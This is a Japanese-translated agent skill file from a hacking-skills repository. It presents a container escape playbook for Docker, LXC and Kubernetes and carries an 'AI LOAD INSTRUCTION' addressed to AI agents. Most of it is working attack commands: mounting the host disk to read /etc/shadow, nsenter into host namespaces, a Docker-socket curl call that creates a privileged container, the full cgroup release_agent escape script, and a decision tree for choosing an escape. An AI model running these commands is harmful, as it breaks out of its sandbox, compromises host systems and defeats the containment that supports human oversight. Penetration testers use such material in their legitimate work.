container-escape-techniques
コンテナ脱出のプレイブック。Docker コンテナ、LXC、または Kubernetes Pod 内で動作している際に、特権モード・ケーパビリティ・Docker ソケット・cgroup の悪用・名前空間の操作・ランタイムの脆弱性を通じてホストへの脱出を試みる場合に使用します。
description の原文を見る
>- Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
SKILL.md 本文
SKILL: コンテナエスケープテクニック — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: エキスパートコンテナエスケープテクニック。特権コンテナブレークアウト、ケーパビリティ悪用、Docker ソケットエクスプロイト、cgroup release_agent、名前空間エスケープ、ランタイム CVE、Kubernetes ポッドエスケープを網羅。ベースモデルはケーパビリティと cgroup 操作を組み合わせた微妙なエスケープパスを見落とす傾向があります。
0. 関連ルーティング
詳細に進む前に、以下の読み込みを検討してください:
linux-privilege-escalation— コンテナ内でエスケープを試みる前にまず root が必要な場合kubernetes-pentesting— ポッドエスケープを超えた K8s 固有の攻撃パスlinux-security-bypass— seccomp/AppArmor がエスケープテクニックをブロックしている場合
高度なリファレンス
また以下が必要な場合は DOCKER_ESCAPE_CHAINS.md を読み込んでください:
- 一般的な設定ミスのステップバイステップエスケープチェーン
- Docker-in-Docker エスケープシナリオ
- 完全なコマンドシーケンスを含む Kubernetes 固有のエスケープパス
1. コンテナ内にいるか確認する
# クイックチェック
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # ランダムな16進数 = コンテナの可能性が高い
# 詳細チェック
cat /proc/1/status | head -5 # PID 1 が systemd/init ではない?
mount | grep -i "overlay" # overlay ファイルシステム?
ip addr # veth インターフェース? NIC が限定?
コンテナ検出ツール
# amicontained: コンテナランタイム、ケーパビリティ、seccomp を表示
./amicontained
# deepce: Docker 列挙とエクスプロイト提案ツール
./deepce.sh
# CDK: オールインワンコンテナペンテストツールキット
./cdk evaluate
2. 特権コンテナエスケープ
--privileged フラグが使用されている場合、コンテナはほぼすべてのホストケーパビリティとデバイスアクセス権を持ちます。
2.1 ホストファイルシステムのマウント
# 特権確認
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = 完全に特権化
# ホストディスク検出
fdisk -l 2>/dev/null || lsblk
# 通常 /dev/sda1 または /dev/vda1
# ホストルートをマウント
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# ホストファイルシステムにアクセス
cat /mnt/host/etc/shadow
chroot /mnt/host bash
2.2 nsenter (ホスト名前空間に入る)
# 特権コンテナからホスト PID 1 の名前空間に入る
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# これはホストの名前空間コンテキストでシェルを提供
# 実質的にホスト全体のシェル
2.3 特権 + ホスト PID 名前空間
# hostPID: true が設定されている場合 (Kubernetes)
# /proc 経由でホストプロセスにアクセス
ls /proc/1/root/ # ホストルートファイルシステム
cat /proc/1/root/etc/shadow
# ホストプロセスへのインジェクション
nsenter --target 1 --mount -- bash
3. ケーパビリティベースエスケープ
3.1 CAP_SYS_ADMIN — 最も汎用的
# ケーパビリティ確認
capsh --print 2>/dev/null
grep CapEff /proc/self/status
# マウント経由でのエスケープ
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# またはデバイスアクセスが存在する場合、ホストファイルシステムをマウント
mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — プロセスインジェクション
# ホストプロセスにシェルコードをインジェクション (ホスト PID 名前空間が必要)
# root プロセスを検索
ps aux | grep root
# gdb または python-ptrace を使用してインジェクション
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
# ホストプロセスにアタッチ、シェルコードをインジェクション
# ... (inject_shellcode 実装全体)
EOF
3.3 CAP_NET_ADMIN
# ホストネットワーク名前空間が共有されている場合、ホストネットワークを操作
# ARP スプーフィング、ルート操作、トラフィック傍受
iptables -L # ホストファイアウォールルールを表示/修正可能?
ip route # ルーティングを修正可能?
3.4 CAP_DAC_READ_SEARCH (Shocker エクスプロイト)
# open_by_handle_at() バイパス — ホストからファイルを読み込み
# "shocker" エクスプロイトをコンパイルして実行
# DAC_READ_SEARCH ケーパビリティが付与されている場合に動作
gcc shocker.c -o shocker
./shocker /etc/shadow # ホストファイルを読み込み
4. DOCKER ソケットエスケープ (/var/run/docker.sock)
ls -la /var/run/docker.sock # マウントされているか確認
# Docker CLI 使用:
docker run -v /:/host --privileged -it alpine chroot /host bash
# CLI なし (curl のみ) — API 経由で特権コンテナを作成:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# 起動 → Exec chroot /host bash (完全なシーケンスについては DOCKER_ESCAPE_CHAINS.md を参照)
5. CGROUP V1 RELEASE_AGENT エスケープ
CAP_SYS_ADMIN + cgroup v1 を使用したコンテナ向けの古典的なエスケープ。
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # または: リバースシェル
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
6. CGROUP V2 / eBPF エスケープ
# Cgroup v2: release_agent ファイルなし
# cgroup バージョン確認:
mount | grep cgroup
# cgroup2 → v2
# eBPF ベースのエスケープ (CAP_SYS_ADMIN + CAP_BPF またはそれに相当するものが必要)
# カーネル ≥ 5.8 で非特権 eBPF が有効
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = 非特権ユーザーが eBPF を利用可能
7. 名前空間エスケープ
ユーザー名前空間
# コンテナ内での名前空間作成が許可されている場合:
unshare -U --map-root-user bash
# 新しい名前空間内で "root"
# 他のケーパビリティと組み合わせる → ホストファイルシステムをマウント
PID 名前空間エスケープ
# hostPID: true の場合 (ホストと共有される PID 名前空間)
# ホストプロセスに直接アクセス:
ls /proc/1/root/ # ホストのルートファイルシステム
cat /proc/1/root/etc/shadow
# ホストプロセスへのインジェクション:
nsenter -t 1 -m -u -i -n -p -- bash
8. ランタイム脆弱性
runc CVE-2019-5736
docker exec が使用されるとホスト runc バイナリを上書き。
# 条件: 悪意のあるコンテナへの docker exec がエクスプロイトをトリガー
# コンテナの /bin/sh がエクスプロイトバイナリに置き換えられ
# 次の exec が実行される → ホスト上の /usr/bin/runc を上書き
# PoC: runc を上書きするエントリポイントを修正
# これはワンショットエクスプロイト — runc は永続的に置き換えられ
containerd CVE-2020-15257
# ホストネットワーク名前空間が共有 + containerd < 1.3.9 / 1.4.3
# 抽象 Unix ソケットがコンテナからアクセス可能
# @/containerd-shim/*.sock 経由で containerd shim API に接続
cgroups CVE-2022-0492
# パッチが適用されていないカーネルで CAP_SYS_ADMIN なしで cgroup エスケープを許可
# release_agent はコンテナ内の非特権ユーザーに書き込み可能
9. KUBERNETES ポッドエスケープ
| 危険な Pod スペック | エスケープ |
|---|---|
hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
hostNetwork: true | ノードサービス (Kubelet, etcd) に直接アクセス |
hostPath: {path: /} | chroot /host bash |
privileged: true | ホストディスクをマウント / nsenter |
| SA トークン with RBAC | API 経由で新しい特権ポッドを作成 |
完全な K8s 攻撃パスについては kubernetes-pentesting を参照。
10. ツール
| ツール | 目的 | URL/コマンド |
|---|---|---|
| deepce | Docker 列挙 + エクスプロイト提案 | ./deepce.sh |
| CDK | コンテナ/K8s エクスプロイトツールキット | ./cdk evaluate |
| amicontained | コンテナランタイム、ケーパビリティ、seccomp を表示 | ./amicontained |
| PEIRATES | Kubernetes ペネトレーションテスト | ./peirates |
| BOtB | Break out the Box — 自動エスケープ | ./botb -autopwn |
11. コンテナエスケープ判定フロー
コンテナ内にいるか?
│
├── 特権モード? (CapEff = 0000003fffffffff)
│ ├── はい → ホストディスクをマウント (§2.1) または nsenter (§2.2)
│ └── 部分的なケーパビリティ? それぞれ確認:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) またはマウント (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → プロセスインジェクション (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker エクスプロイト (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → ネットワーク操作 (§3.3)
│
├── Docker ソケットがマウントされているか? (/var/run/docker.sock)
│ └── はい → 特権コンテナを作成 (§4)
│
├── ホスト PID 名前空間が共有されているか?
│ └── はい → nsenter -t 1 または /proc/1/root アクセス (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent エスケープ (§5)
│
├── ランタイムが脆弱か?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── カーネルが脆弱か?
│ └── linux-privilege-escalation の KERNEL_EXPLOITS_CHECKLIST を確認
│
├── Kubernetes ポッドか?
│ ├── 昇格した RBAC を持つサービスアカウント? → エスケープポッドを作成 (§9)
│ └── hostPath ボリューム? → ホストファイルシステムにアクセス
│
└── 上記のいずれでもない?
├── deepce/CDK を実行して自動検出
├── 書き込み可能なホストマウントポイントを確認
├── ネットワークで他のコンテナ/サービスを列挙
└── /proc/self/mountinfo で興味深いマウントを確認
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superpowers-streamer-cli
SuperPowers デスクトップストリーマーの npm パッケージをインストール、ログイン、実行、トラブルシューティングできます。ユーザーが npm から `superpowers-ai` をセットアップしたい場合、メールまたは電話でサインインもしくはアカウント作成を行いたい場合、ストリーマーを起動したい場合、表示されたコントロールリンクを開きたい場合、後で停止したい場合、またはソースコードへのアクセスなしに npm やランタイムの一般的な問題から復旧したい場合に使用します。
catc-client-ops
Catalyst Centerのクライアント操作・監視機能 - 有線・無線クライアントのリスト表示・フィルタリング、MACアドレスによる詳細なクライアント検索、クライアント数分析、時間軸での分析、SSIDおよび周波数帯によるフィルタリング、無線トラブルシューティング機能を提供します。MACアドレスやIPアドレスでのクライアント検索、サイト別やSSID別のクライアント数集計、無線周波数帯の分布分析、Wi-Fi信号の問題調査が必要な場合に活用できます。
ci-cd-and-automation
CI/CDパイプラインの設定を自動化します。ビルドおよびデプロイメントパイプラインの構築または変更時に使用できます。品質ゲートの自動化、CI内のテストランナー設定、またはデプロイメント戦略の確立が必要な場合に活用します。
shipping-and-launch
本番環境へのリリース準備を行います。本番環境へのデプロイ準備が必要な場合、リリース前チェックリストが必要な場合、監視機能の設定を行う場合、段階的なロールアウトを計画する場合、またはロールバック戦略が必要な場合に使用します。
linear-release-setup
Linear Releaseに向けたCI/CD設定を生成します。リリース追跡の設定、LinearのCIパイプライン構築、またはLinearリリースとのデプロイメント連携を実施する際に利用できます。GitHub Actions、GitLab CI、CircleCIなど複数のプラットフォームに対応しています。
tracking-application-response-times
API エンドポイント、データベースクエリ、サービスコール全体にわたるアプリケーションのレスポンスタイムを追跡・最適化できます。パフォーマンス監視やボトルネック特定の際に活用してください。「レスポンスタイムを追跡する」「API パフォーマンスを監視する」「遅延を分析する」といった表現で呼び出せます。